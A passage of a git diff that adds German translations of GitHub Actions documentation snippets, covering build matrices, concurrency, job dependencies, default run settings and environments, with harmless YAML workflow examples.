+            experimental: true
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md b/translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md
new file mode 100644
index 0000000000..ff6b9773de
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 50b42f8e3c703723fc592bf63881c997e88b059c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103712"
+---
+Standardmäßig maximiert {% data variables.product.product_name %} die Anzahl der parallel ausgeführten Aufträge basierend auf der Runnerverfügbarkeit. Um die maximale Anzahl von Aufträgen festzulegen, die bei der Auftragsstrategie `matrix` gleichzeitig ausgeführt werden können, verwende `jobs.<job_id>.strategy.max-parallel`.
+
+Der folgende Workflow führt zum Beispiel maximal zwei Aufträge auf einmal aus, auch wenn es Runner gibt, die alle sechs Aufträge auf einmal ausführen können.
+
+```yaml
+jobs:
+  example_matrix:
+    strategy:
+      max-parallel: 2
+      matrix:
+        version: [10, 12, 14]
+        os: [ubuntu-latest, windows-latest]
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-concurrency-jobs.md b/translations/de-DE/data/reusables/actions/jobs/section-using-concurrency-jobs.md
new file mode 100644
index 0000000000..9d134c1bc4
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-concurrency-jobs.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: e0ae7814db2deb2c1e666172e71566cc6d28ca1b
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147888002"
+---
+{% note %}
+
+**Hinweis:** Wenn Parallelität auf Auftragsebene angegeben wird, wird die Reihenfolge für Aufträge oder Ausführungen, die der Warteschlange innerhalb eines Zeitraums von bis zu fünf Minuten hinzugefügt werden, nicht garantiert.
+
+{% endnote %}
+
+Du kannst `jobs.<job_id>.concurrency` verwenden, um sicherzustellen, dass immer nur ein einzelner Auftrag oder Workflow mit der gleichen Parallelitätsgruppe ausgeführt wird. Eine Parallelitätsgruppe kann eine beliebige Zeichenfolge oder ein beliebiger Ausdruck sein. Der Ausdruck kann einen beliebigen Kontext verwenden. Einzige Ausnahme ist der Kontext `secrets`. Weitere Informationen zu Ausdrücken findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+`concurrency` kann auch auf Workflowebene angegeben werden. Weitere Informationen findest du unter [`concurrency`](/actions/using-workflows/workflow-syntax-for-github-actions#concurrency).
+
+{% data reusables.actions.actions-group-concurrency %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-concurrency.md b/translations/de-DE/data/reusables/actions/jobs/section-using-concurrency.md
new file mode 100644
index 0000000000..4eb22b6081
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-concurrency.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 411eca8837a5457c87a78fbee442b6824fb3c158
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089476"
+---
+Verwende `concurrency`, um sicherzustellen, dass immer nur ein einziger Auftrag oder Workflow mit derselben Parallelitätsgruppe ausgeführt wird. Eine Parallelitätsgruppe kann eine beliebige Zeichenfolge oder ein beliebiger Ausdruck sein. Der Ausdruck kann nur den [`github`-Kontext](/actions/learn-github-actions/contexts#github-context) verwenden. Weitere Informationen zu Ausdrücken findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+Du kannst `concurrency` auch auf Auftragsebene angeben. Weitere Informationen findest du unter [`jobs.<job_id>.concurrency`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idconcurrency).
+
+{% data reusables.actions.actions-group-concurrency %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md b/translations/de-DE/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md
new file mode 100644
index 0000000000..8d29f30fc5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: 543455f8802e8e2c8b4dc60283c442a536476751
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103711"
+---
+Mit der Bedingung `jobs.<job_id>.if` kannst du dafür sorgen, dass ein Schritt nur ausgeführt wird, wenn eine Bedingung erfüllt ist. Du kannst eine Bedingung mit jedem unterstützten Kontext und Ausdruck erstellen.
+
+{% data reusables.actions.expression-syntax-if %} Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+### Beispiel: Ausführen eines Auftrags nur für bestimmte Repositorys
+
+In diesem Beispiel wird `if` verwendet, um zu steuern, wann der Auftrag `production-deploy` ausgeführt werden kann. Er wird nur ausgeführt, wenn das Repository `octo-repo-prod` heißt und sich innerhalb der Organisation `octo-org` befindet. Andernfalls wird der Auftrag als _übersprungen_ markiert.
+
+```yaml{:copy}
+name: example-workflow
+on: [push]
+jobs:
+  production-deploy:
+    if: github.repository == 'octo-org/octo-repo-prod'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '14'
+      - run: npm install -g bats
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-environments-for-jobs.md b/translations/de-DE/data/reusables/actions/jobs/section-using-environments-for-jobs.md
new file mode 100644
index 0000000000..0da512b838
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-environments-for-jobs.md
@@ -0,0 +1,37 @@
+---
+ms.openlocfilehash: 5b827a2f598a6067ae3c486dbe046effda95bb7f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089475"
+---
+Verwende `jobs.<job_id>.environment` zum Definieren der Umgebung, auf die der Auftrag verweist. Alle Umgebungsschutzregeln müssen erfüllt sein, bevor ein Auftrag, der auf die Umgebung verweist, an einen Runner gesendet wird. Weitere Informationen findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/using-environments-for-deployment).
+
+Du kannst die Umgebung nur mit dem `name`-Wert oder als Umgebungsobjekt mit `name` und `url` bereitstellen. Die URL entspricht `environment_url` ist in der Bereitstellungs-API. Weitere Informationen zu den Bereitstellungs-API findest du unter [Bereitstellungen](/rest/reference/repos#deployments).
+
+### Beispiel: Verwenden eines einzelnen Umgebungsnamens
+{% raw %}
+```yaml
+environment: staging_environment
+```
+{% endraw %}
+
+### Beispiel: Verwenden von Umgebungsnamen und URL
+
+```yaml
+environment:
+  name: production_environment
+  url: https://github.com
+```
+
+Die URL kann ein Ausdruck sein und kann einen beliebigen Kontext mit Ausnahme des [`secrets`-Kontexts](/actions/learn-github-actions/contexts#contexts)verwenden. Weitere Informationen zu Ausdrücken findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+### Beispiel: Verwenden der Ausgabe als URL
+{% raw %}
+```yaml
+environment:
+  name: production_environment
+  url: ${{ steps.step_id.outputs.url_output }}
+```
+{% endraw %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md
new file mode 100644
index 0000000000..74b23527b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: dd25f74bf039724130494c7bd4d55e44760f620b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103708"
+---
+Verwende `jobs.<job_id>`, um deinem Auftrag einen eindeutigen Bezeichner zu geben. Der Schlüssel `job_id` ist ein String und der Wert umfasst eine Zuordnung der Konfigurationsdaten für den Auftrag. Du musst `<job_id>` mit einer Zeichenfolge ersetzen, die für das `jobs`-Objekt eindeutig ist. `<job_id>` muss mit einem Buchstaben oder `_` beginnen und darf nur alphanumerische Zeichen, `-` oder `_` enthalten.
+
+#### Beispiel: Erstellen von Aufträgen
+
+In diesem Beispiel wurden zwei Aufträge erstellt und ihre `job_id`-Werte sind `my_first_job` und `my_second_job`.
+
+```yaml
+jobs:
+  my_first_job:
+    name: My first job
+  my_second_job:
+    name: My second job
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md
new file mode 100644
index 0000000000..e1594eece0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 181d9b85c73128789d5d8bdb53c3f6d57d26a6e2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146138992"
+---
+Mit `jobs.<job_id>.name` legst du einen Namen für den Auftrag fest, der auf der Benutzeroberfläche von {% data variables.product.prodname_dotcom %} angezeigt wird.
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md
new file mode 100644
index 0000000000..5e48a2761a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md
@@ -0,0 +1,42 @@
+---
+ms.openlocfilehash: ec9ff0fb1eb8f9fd06d4da13716b3e8e31a758e5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145883577"
+---
+Verwende `jobs.<job_id>.needs`, um alle Aufträge zu identifizieren, die erfolgreich abgeschlossen sein müssen, bevor dieser Auftrag ausgeführt wird. Hier ist ein String oder ein Array mit Strings zulässig. Wenn ein Auftrag fehlschlägt, werden alle Aufträge übersprungen, die diesen Auftrag benötigen, außer die Aufträge umfassen einen bedingte Ausdruck, mit dem der Auftrag dennoch fortgesetzt wird. Wenn eine Ausführung eine Reihe von Aufträgen enthält, die voneinander abhängig sind, wird ein Fehler auf alle Aufträge in der Abhängigkeitskette ab dem Fehlerpunkt angewendet.
+
+#### Beispiel: Erfordern erfolgreicher abhängiger Aufträge 
+
+```yaml
+jobs:
+  job1:
+  job2:
+    needs: job1
+  job3:
+    needs: [job1, job2]
+```
+
+In diesem Beispiel muss `job1` erfolgreich abgeschlossen sein, bevor `job2` beginnt, und `job3` wartet darauf, dass `job1` und `job2` angeschlossen werden.
+
+Die Aufträge in diesem Beispiel werden sequenziell ausgeführt:
+
+1. `job1`
+2. `job2`
+3. `job3`
+
+#### Beispiel: Nicht Erfordern erfolgreicher abhängiger Aufträge
+
+```yaml
+jobs:
+  job1:
+  job2:
+    needs: job1
+  job3:
+    if: {% raw %}${{ always() }}{% endraw %}
+    needs: [job1, job2]
+```
+
+In diesem Beispiel verwendet `job3` den bedingten Ausdruck `always()`, sodass er immer nach Abschluss von `job1` und `job2` ausgeführt wird, unabhängig davon, ob sie erfolgreich waren. Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions#status-check-functions).
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md
new file mode 100644
index 0000000000..83bfdde581
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 2bdab95a93e5eff4bc68d8da73fd9d7d9a93580a
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879703"
+---
+Eine Workflowausführung besteht aus einem oder mehreren `jobs`, die standardmäßig parallel ausgeführt werden. Um Aufträge nacheinander auszuführen, kannst du mit dem Schlüsselwort `jobs.<job_id>.needs` Abhängigkeiten von anderen Aufträgen definieren.
+
+Jeder Auftrag wird in einer durch `runs-on` festgelegten Runnerumgebung ausgeführt.
+
+Innerhalb der Nutzungsbeschränkungen des Workflows kannst Du unbegrenzt viele Jobs ausführen. Weitere Informationen findest du unter {% ifversion fpt or ghec or ghes %}[Nutzungseinschränkungen und Abrechnung](/actions/reference/usage-limits-billing-and-administration) für auf {% data variables.product.prodname_dotcom %} gehostete Runner und unter {% endif %}[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %} für Nutzungseinschränkungen für selbstgehostete Runner.{% elsif ghae %}.{% endif %}
+
+Wenn du den eindeutigen Bezeichner eines Auftrags in einer Workflowausführung ermitteln musst, kannst du die {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API verwenden. Weitere Informationen findest du unter [Workflowaufträge](/rest/reference/actions#workflow-jobs).
diff --git a/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md
new file mode 100644
index 0000000000..63a8a8a2a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md
@@ -0,0 +1,25 @@
+---
+ms.openlocfilehash: dae1f0d42b9b0b2e122bfcfc2a096d062efd8ee0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103688"
+---
+Verwende `jobs.<job_id>.defaults.run`, um für alle `run`-Schritte im Auftrag eine Standardeinstellung für `shell` und `working-directory` bereitzustellen. Kontext und Ausdruck sind in diesem Abschnitt nicht zulässig.
+
+Du kannst für `shell` und `working-directory` Standardoptionen für alle [`run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)-Schritte in einem Auftrag bereitstellen. Außerdem kannst du für den gesamten Workflow Standardeinstellungen für `run` festlegen. Weitere Informationen findest du unter [`jobs.defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#defaultsrun). In diesem Schlüsselwort kannst Du keine Kontexte oder Ausdrücke verwenden.
+
+{% data reusables.actions.defaults-override %}
+
+#### Beispiel: Festlegen von Standardoptionen für den `run`-Schritt für einen Auftrag
+
+```yaml
+jobs:
+  job1:
+    runs-on: ubuntu-latest
+    defaults:
+      run:
+        shell: bash
+        working-directory: scripts
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md
new file mode 100644
index 0000000000..982dc4205b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 1ebdd8b9cbe9de9eeb37ddec7bc6a1cf81c5b26e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089428"
+---
+Verwende `jobs.<job_id>.defaults`, um eine `map` mit Standardeinstellungen zu erstellen, die für alle Schritte im Auftrag gelten. Du kannst auch Standardeinstellungen für den gesamten Workflow festlegen. Weitere Informationen findest du unter [`defaults`](/actions/using-workflows/workflow-syntax-for-github-actions#defaults).
+
+{% data reusables.actions.defaults-override %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md
new file mode 100644
index 0000000000..c16d3f55f3
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 95ea94c1f81a3b586d60d96dbd5a882dcdbe89fc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103687"
+---
+Du kannst `defaults.run` verwenden, um Standardoptionen für `shell` und `working-directory` für alle [`run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)-Schritte in einem Workflow bereitzustellen. Du kannst auch Standardeinstellungen für `run` festlegen, die nur für einen Auftrag verfügbar sind. Weitere Informationen findest du unter [`jobs.<job_id>.defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrun). In diesem Schlüsselwort kannst Du keine Kontexte oder Ausdrücke verwenden.
+
+{% data reusables.actions.defaults-override %}
+
+#### Beispiel: Festlegen der Standardshell und des Arbeitsverzeichnisses
+
+```yaml
+defaults:
+  run:
+    shell: bash
+    working-directory: scripts
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md
new file mode 100644
index 0000000000..eef50f57d0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 9d1cfec47bbf58755b0052310c50a2cff0ca1890
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089427"
+---
+Verwende `defaults`, um eine `map` der Standardeinstellungen zu erstellen, die für alle Aufträge im Workflow gelten. Du kannst auch Standardeinstellungen festlegen, die nur für einen Job verfügbar sind. Weitere Informationen findest du unter [`jobs.<job_id>.defaults`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaults).
+
+{% data reusables.actions.defaults-override %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/single-dimension-matrix.md b/translations/de-DE/data/reusables/actions/jobs/single-dimension-matrix.md
new file mode 100644
index 0000000000..74f596287f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/single-dimension-matrix.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 00fcbabef5e440a27a495ab562cf7ccc43a7e030
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103683"
+---
+Du kannst eine einzelne Variable angeben, um eine Matrix mit einer einzelnen Dimension zu erstellen.
+
+Der folgende Workflow definiert beispielsweise die Variable `version` mit den Werten `[10, 12, 14]`. Dieser Workflow führt drei Aufträge aus, einen für jeden Wert in der Variablen. Jeder Auftrag greift über den `matrix.version`-Kontext auf den `version`-Wert zu und übergibt den Wert als `node-version` an die `actions/setup-node`-Aktion.
+
+```yaml
+jobs:
+  example_matrix:
+    strategy:
+      matrix:
+        version: [10, 12, 14]
+    steps:
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.version }}{% endraw %}
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/using-matrix-strategy.md b/translations/de-DE/data/reusables/actions/jobs/using-matrix-strategy.md
new file mode 100644
index 0000000000..cfa9c06c8b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/using-matrix-strategy.md
@@ -0,0 +1,33 @@
+---
+ms.openlocfilehash: 02f279903abd69f50ad55aa88462c9c8e4b9a1a8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091344"
+---
+Verwende `jobs.<job_id>.strategy.matrix`, um eine Matrix verschiedener Auftragskonfigurationen zu definieren. Definiere innerhalb der Matrix eine oder mehrere Variablen, gefolgt von einem Array an Werten. Die folgende Matrix verfügt beispielsweise über eine Variable namens `version` mit dem Wert `[10, 12, 14]` und über eine Variable namens `os` mit dem Wert `[ubuntu-latest, windows-latest]`:
+
+```yaml
+jobs:
+  example_matrix:
+    strategy:
+      matrix:
+        version: [10, 12, 14]
+        os: [ubuntu-latest, windows-latest]
+```
+
+Für jede mögliche Kombination der Variablen wird ein Auftrag ausgeführt. In diesem Beispiel führt der Workflow sechs Aufträge aus: einen für jede Kombination der Variablen `os` und `version`. 
+
+Standardmäßig maximiert {% data variables.product.product_name %} die Anzahl der parallel ausgeführten Aufträge basierend auf der Runnerverfügbarkeit. Die Reihenfolge der Variablen in der Matrix bestimmt die Reihenfolge, in der die Aufträge erstellt werden. Die erste Variable, die du definierst, entspricht dem ersten Auftrag, der in deiner Workflowausführung erstellt wird. Die Matrix oben erstellt die Aufträge beispielsweise in der folgenden Reihenfolge:
+
+- `{version: 10, os: ubuntu-latest}`
+- `{version: 10, os: windows-latest}`
+- `{version: 12, os: ubuntu-latest}`
+- `{version: 12, os: windows-latest}`
+- `{version: 14, os: ubuntu-latest}`
+- `{version: 14, os: windows-latest}`
+
+Eine Matrix generiert maximal 256 Aufträge pro Workflowausführung. Dieser Grenzwert gilt sowohl für von {% data variables.product.product_name %} gehostete als auch selbstgehostete Runner.
+
+Die von dir definierten Variablen werden zu Eigenschaften im `matrix`-Kontext, und du kannst in anderen Bereichen deiner Workflowdatei auf die Eigenschaft verweisen. In diesem Beispiel kannst du `matrix.version` und `matrix.os` verwenden, um auf die aktuellen Werte von `version` und `os` zuzugreifen, die der Auftrag nutzt. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts).
diff --git a/translations/de-DE/data/reusables/actions/learn-more-about-yaml.md b/translations/de-DE/data/reusables/actions/learn-more-about-yaml.md
new file mode 100644
index 0000000000..68ab439b4b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/learn-more-about-yaml.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7ba236a4c0ab9c91b5cec07652b31bd7ca851dfd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089419"
+---
+Wenn du noch nicht mit YAML arbeitest und mehr erfahren möchtest, lies den Artikel zum [Erlernen von YAML in Y Minuten](https://learnxinyminutes.com/docs/yaml/).
diff --git a/translations/de-DE/data/reusables/actions/learning-actions.md b/translations/de-DE/data/reusables/actions/learning-actions.md
new file mode 100644
index 0000000000..d2c0c00762
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/learning-actions.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 45b1a22be33d2200fa8814d463208d909b86a6f4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067090"
+---
+
+- Informationen zu {% data variables.product.prodname_actions %}-Konzepten findest du unter [Grundlegendes zu GitHub Actions](/actions/learn-github-actions/understanding-github-actions).
+- Weitere schrittweise Anleitungen zum Erstellen eines einfachen Workflows findest du unter [Schnellstart für GitHub Actions](/actions/quickstart).
+- Wenn du mit den Grundlagen von {% data variables.product.prodname_actions %} vertraut bist, erfahre unter [Informationen zu Workflows](/actions/using-workflows/about-workflows) mehr über Workflows und deren Features.
diff --git a/translations/de-DE/data/reusables/actions/macos-runner-preview.md b/translations/de-DE/data/reusables/actions/macos-runner-preview.md
new file mode 100644
index 0000000000..7eedddb36e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/macos-runner-preview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 08f8abe55e223177e9636fca5fc1f17091a45670
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877045"
+---
+Die YAML-Workflowbezeichnung <code>macos-latest</code> verwendet derzeit das macOS 10.15-Runner-Image.
diff --git a/translations/de-DE/data/reusables/actions/make-workflow-file.md b/translations/de-DE/data/reusables/actions/make-workflow-file.md
new file mode 100644
index 0000000000..1acf5a079c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/make-workflow-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0c71973a821866dc0b3b395f77a0d9bcfd754a27
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089412"
+---
+Erstelle in deinem Repository eine Datei namens `.github/workflows/YOUR_WORKFLOW.yml`, und ersetze `YOUR_WORKFLOW` durch einen Namen deiner Wahl. Dies ist eine Workflowdatei. Weitere Informationen zum Erstellen neuer Dateien auf GitHub findest du unter [Erstellen neuer Dateien](/github/managing-files-in-a-repository/creating-new-files).
diff --git a/translations/de-DE/data/reusables/actions/matrix-variable-example.md b/translations/de-DE/data/reusables/actions/matrix-variable-example.md
new file mode 100644
index 0000000000..a1ce4caadc
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/matrix-variable-example.md
@@ -0,0 +1,34 @@
+---
+ms.openlocfilehash: 0e843d106ae2cdac0dbc2fc37baec5d035b6a3c2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103679"
+---
+In diesem Beispiel sind die Matrixeinträge für `node-version` so konfiguriert, dass verschiedene Werte für die Umgebungsvariablen `site` und `datacenter` verwendet werden. Der Schritt `Echo site details` verwendet dann {% raw %}`env: ${{ matrix.env }}`{% endraw %}, um auf die benutzerdefinierten Variablen zu verweisen:
+
+{% raw %}
+```yaml
+name: Node.js CI
+on: [push]
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+       include:
+         - node-version: 10.x
+           site: "prod"
+           datacenter: "site-a"
+         - node-version: 12.x
+           site: "dev"
+           datacenter: "site-b"
+    steps:
+      - name: Echo site details
+        env:
+          SITE: ${{ matrix.site }}
+          DATACENTER: ${{ matrix.datacenter }}
+        run: echo $SITE $DATACENTER
+```
+{% endraw %}
diff --git a/translations/de-DE/data/reusables/actions/message-annotation-explanation.md b/translations/de-DE/data/reusables/actions/message-annotation-explanation.md
new file mode 100644
index 0000000000..a6f98fe888
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/message-annotation-explanation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1d869d84a0e5b5ea0b4b52652a3f82020686e1e5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089411"
+---
+Diese Nachricht erstellt eine Anmerkung, die die Nachricht einer bestimmten Datei in deinem Repository zuordnen kann. Optional kann deine Nachricht eine Position innerhalb der Datei angeben.
diff --git a/translations/de-DE/data/reusables/actions/message-parameters.md b/translations/de-DE/data/reusables/actions/message-parameters.md
new file mode 100644
index 0000000000..ee1ee39846
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/message-parameters.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 8f48fb502f949942b6a0796f03b0b9afb9c538f9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109755"
+---
+| Parameter | value |
+| :- | :- |
+| `title` | Benutzerdefinierter Titel |
+| `file` | Dateiname |
+| `col` | Spaltennummer ab 1 |
+| `endColumn` | Endspaltennummer |
+| `line` | Zeilennummer ab 1 |
+| `endLine` | Endzeilennummer |
diff --git a/translations/de-DE/data/reusables/actions/migrating-enterprise.md b/translations/de-DE/data/reusables/actions/migrating-enterprise.md
new file mode 100644
index 0000000000..3621821c23
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/migrating-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 96ac933a910a7efab3361f57f7a57e9fa5f2a0ee
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089404"
+---
